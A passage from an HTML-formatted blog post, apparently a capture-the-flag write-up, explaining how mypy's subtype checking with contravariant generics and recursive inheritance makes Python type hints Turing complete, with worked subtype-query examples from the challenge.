&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Hence, in the previous code example, we can fix the code by adding &lt;code&gt;covariant=True&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;T &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;T&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; covariant&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now $&#92;texttt{MyList[Reverse]} {} &amp;lt;: &#92;texttt{MyList[Challenge]}$, and the program compiles.&lt;/p&gt;
&lt;p&gt;At this point, you should be able to appreciate the double entendre in the title: &lt;em&gt;N[Subtype Metaprogramming] is N[Mostly Harmless]&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&quot;metaprogramming-with-type-hints&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#metaprogramming-with-type-hints&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Metaprogramming with Type Hints&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;SpongeBob agrees: it&#39;s all magic.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 584 / 427&quot; alt=&quot;Spongebob gesturing a rainbow, suggesting metaprogramming with type hints is magic.&quot; title=&quot;SpongeBob agrees: it&#39;s all magic.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/magic-584w.webp 584w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 584px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer: Here be dragons.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I don&#39;t have a PhD in computer science or mathematics. Most things below are rephrased from Roth&#39;s paper, but if you spot something erroneous (or have questions), do &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#comments&quot;&gt;let me&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/#contact&quot;&gt;know&lt;/a&gt;. :D&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We haven&#39;t even started digging through &lt;code&gt;output.py&lt;/code&gt;! Thankfully, the challenge author linked a paper for our perusal.&lt;/p&gt;
&lt;h3 id=&quot;be-a-subtype-checker&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Be a Subtype Checker&lt;/h3&gt;
&lt;p&gt;Back to the challenge. The program leverages the &lt;code&gt;mypy&lt;/code&gt; type-checker to perform flag-checking. The last line of &lt;code&gt;output.py&lt;/code&gt; asks an important question (aka subtype query): &lt;strong&gt;is &lt;code&gt;QRW_s29[L___TAPE_END__[N[...]]]&lt;/code&gt; a subtype of &lt;code&gt;E[E[Z]]&lt;/code&gt;&lt;/strong&gt;???&lt;/p&gt;
&lt;p&gt;To answer this subtype query, we need to search for a trail of supertypes leading us from the supposed subtype (&lt;code&gt;QRW_s29[L___TAPE_END__[N[...]]]&lt;/code&gt;) to the upper type (&lt;code&gt;E[E[Z]]&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;A quick aside.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We use &amp;quot;$&#92;rightsquigarrow$&amp;quot; to denote a resolution step in the checker.&lt;/li&gt;
&lt;li&gt;For convenience, we simplify expressions by ignoring brackets: $C[D[E[A]]]$ becomes $CDEA$.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;How does the search go? Meet the two &lt;strong&gt;subtyping rules&lt;/strong&gt; used by the type-checker:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Super&lt;/strong&gt;. Substitute a type with its supertype.
$$
(C : D) &#92;land (CA &amp;lt;: EB) {} &#92;rightsquigarrow DA &amp;lt;: EB
$$
In English, if $C$ has a supertype $D$, we can &amp;quot;go up a level&amp;quot; to &lt;em&gt;search&lt;/em&gt; for a match.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cancel&lt;/strong&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Remove the outermost type from both sides of the query. (And flip, since all type parameters are assumed to be contravariant!)
$$
EA &amp;lt;: EB &#92;rightsquigarrow A &amp;lt;: B
$$
This just comes from our definition of contravariance.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The search terminates once we find a match $A &amp;lt;: A$.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;What if there are multiple supertypes (due to multiple inheritance)? Wouldn&#39;t our paths diverge? Which one do we choose?&lt;/p&gt;
&lt;p&gt;Keep in mind we&#39;re performing a &lt;em&gt;search&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;A good heuristic is to choose a supertype that cancels out the outer type on the other side.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; A&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;C[T]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; B&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;A[T]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; B&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, choosing $BAT$ allows us to cancel $B$ in the next step.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$CCZ &amp;lt;:^? BCZ$&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow BACZ &amp;lt;:^? BCZ$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow ACZ :&amp;gt;^? CZ$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;subtype-checking-example&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#subtype-checking-example&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Subtype-Checking Example&lt;/h3&gt;
&lt;p&gt;Let’s walk through an example of an infinite subtyping query.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; Here&#39;s the code:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; typing &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Generic&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Any
z &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;z&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; contravariant&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;C[C[x]]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;U&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; C&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Subtype query: CT &amp;lt;: NCU.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;C[C[x]]&amp;quot;&lt;/code&gt; is quoted in order to forward-reference &lt;code&gt;C&lt;/code&gt;. (We declare and use it in the same statement.)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And here&#39;s the applied rules:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$CT &amp;lt;:^? NCU$&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NNCCT &amp;lt;:^? NCU$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NCCT :&amp;gt;^? CU$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow NCCT :&amp;gt;^? NNCCU$ (&lt;strong&gt;Super&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;$&#92;rightsquigarrow CCT &amp;lt;:^? NCCU$ (&lt;strong&gt;Cancel&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;(and so on...)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As you may notice, we started with $CT &amp;lt;:^? NCU$, but after 4 steps, another $C$ joined the party. Inductively, this will continue to grow forever (or until &lt;code&gt;mypy&lt;/code&gt; runs out of space).&lt;/p&gt;
&lt;h3 id=&quot;python-type-hints-are-turing-complete&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#python-type-hints-are-turing-complete&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Python Type Hints are Turing Complete&lt;/h3&gt;
&lt;p&gt;It turns out that Python type hints are Turing Complete thanks to two characteristics: &lt;em&gt;contravariance&lt;/em&gt; and &lt;em&gt;expansive-recursive inheritance&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#invariance-covariance-and-contravariance&quot;&gt;&lt;strong&gt;Contravariance&lt;/strong&gt;&lt;/a&gt;, as we saw previously, means $A &amp;lt;: B&#92; &#92;iff&#92; F[A] :&amp;gt; F[B]$.&lt;/p&gt;
  &lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In this section, we assume all type parameters are contravariant.&lt;/p&gt;
  &lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Expansive-Recursive Inheritance&lt;/strong&gt; is more complicated to define, but the implications are that we can inherit recursively, and generate infinite, undecidable subtype queries. We saw an example of this in a &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot;&gt;previous section&lt;/a&gt;. (Read more in §2 of Roth&#39;s paper.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With these, Python type hints can (slowly) simulate any Turing machine or computation!&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;What is a Turing Machine?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;A &lt;strong&gt;Turing Machine&lt;/strong&gt; is a theoretical computing device that operates on an infinite tape divided into cells. It has a read/write head that follows rules to read, write, and move on the tape based on its current state and the symbol it reads. It repeats this process until it reaches a halting state.&lt;/p&gt;
&lt;p&gt;Turing Machines are powerful because they can solve a wide range of computational problems. They can perform calculations, simulate other machines, and theoretically solve any problem that can be solved by an algorithm. They serve as a fundamental model for understanding the capabilities and limitations of computation.&lt;/p&gt;
&lt;p&gt;Get some intuition by playing the &lt;a href=&quot;https://www.google.com/doodles/alan-turings-100th-birthday&quot;&gt;Turing Machine Google Doodle&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;The whole ordeal is rather complicated. Essentially, there are two things to be aware of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Type Encoding. Different aspects of the tape machine are encoded as types. For example, the &lt;code&gt;L_*&lt;/code&gt; encode the set of possible values (excluding $&#92;bot$, i.e. no value), and &lt;code&gt;ML&lt;/code&gt; encodes the machine head.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1120 / 320&quot; alt=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; title=&quot;Table showing various symbols in Grigore&#39;s encoding; copied from Roth&#39;s paper.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table1-1120w.webp 1120w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1120px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;The components of Grigore’s subtyping machine. All classes are parameterised by a contravariant type parameter $x$, except $Z$, which is monomorphic.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:1&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inheritance Rules. These are used to encode state transitions and the general mechanics of the Turing machine.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1030 / 674&quot; alt=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; title=&quot;Table showing various inheritance rules; copied from Roth&#39;s paper.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-512w.webp 512w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1024w.webp 1024w, https://trebledj.me/img/posts/programming/concepts/subtype-metaprogramming/assets/table4-1030w.webp 1030w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1030px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Roth&#39;s subtyping inheritance rules. This image is included to illustrate inheritance rules. They differ from the rules in the challenge (which are based on Grigore&#39;s work). The first 4 rows encode Turing Machine state transitions. Again, the type parameter $x$ is contravariant.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:2&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to read more, I suggest reading §1.2 of Roth&#39;s paper.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn5&quot; id=&quot;fnref5:3&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h3 id=&quot;decoding-the-challenges-subtype-query&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#decoding-the-challenges-subtype-query&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Decoding the Challenge&#39;s Subtype Query&lt;/h3&gt;
&lt;p&gt;Just for fun, let&#39;s solve some subtype queries from the challenge. Who needs a job when you&#39;re employed as a full-time subtype checker?&lt;/p&gt;
&lt;p&gt;Although the given subtype query in &lt;code&gt;output.py&lt;/code&gt; doesn&#39;t work, we can still try simpler versions. It turns out the query recurses on the numbers. For example, the following queries compile:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
